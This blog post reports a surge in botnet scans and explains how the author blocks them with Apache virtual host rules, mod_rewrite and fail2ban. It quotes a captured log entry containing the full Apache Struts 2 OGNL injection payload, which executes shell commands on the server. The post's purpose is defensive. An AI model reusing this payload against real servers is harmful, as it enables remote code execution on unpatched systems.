Botnet traffic is on the rise

During the last few days I’ve been noticing a major surge in botnet traffic probing for the infamous Apache Struts 2 exploit, popular database setup and configuration scripts and even some old school cgi-bin vulnerabilities. The traffic originates from compromised hosts with major cloud vendors like Microsoft Azure, DigitalOcean, Vultr, Linode and OVH.

Apache Struts 2 vulnerability scan

You didn’t install that Apache Struts 2 patch? Oh, well that’s too bad.

These bots present themselves as Chrome 56 on Mac OS X using the following user-agent:

Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36

Thankfully this botnet is easy to block due to its lazy approach of scanning IP address blocks instead of Internet hostnames. Below is an extract from my ModSecurity log showing an attempt to use the Apache Struts 2 vulnerability:

[19/Oct/2017:20:58:23 +0200] Wej1z38AAAEAAD9LzvwAAABM 62.116.100.88 42280 109.109.80.97 80
GET /Struts2XMLHelloWorld/User/home.action HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36
Accept: */*
Host: 109.109.80.97
Content-Type: %{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='nMaskCustomMuttMoloz').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

Every single request originating from this user-agent connected directly to my public IP address on port 80. I already block connections to my RPi3 where the request headers don’t contain an acceptable host. Thus these requests were simply getting a HTTP 403 forbidden response and were added to my firewall by courtesy of fail2ban.

My preferred method for implementing this restriction is currently to add a catch-all virtualhost section at the end of my virtualhost configuration file. If no matching servername or alias was found in the previous set, then this virtualhost will be used to refuse the connection:

<VirtualHost *:80>
    ServerName localhost
    ServerAlias *
    ErrorDocument 403 "The power of Bob compels you."

    <IfModule mod_rewrite.c>
    	RewriteRule ^(.*)$ - [L,R=403]
    </IfModule>
</VirtualHost>

Another approach would be verify the request header against a list of allowed hostnames:

<IfModule mod_rewrite.c>
    RewriteCond %{HTTP_HOST} !^blog\.paranoidpenguin\.net$ [NC]
    RewriteCond %{HTTP_HOST} !^www\.blog\.paranoidpenguin\.net$ [NC]
    RewriteCond %{HTTP_HOST} !^www\.paranoidpenguin\.net$ [NC]
    RewriteCond %{HTTP_HOST} !^paranoidpenguin\.net$ [NC]
    RewriteRule ^(.*)$ - [L,R=403]
</IfModule>

These directives are applied to the Apache HTTP Server using name based virtual hosts. Similar implementations should be available for other HTTP servers.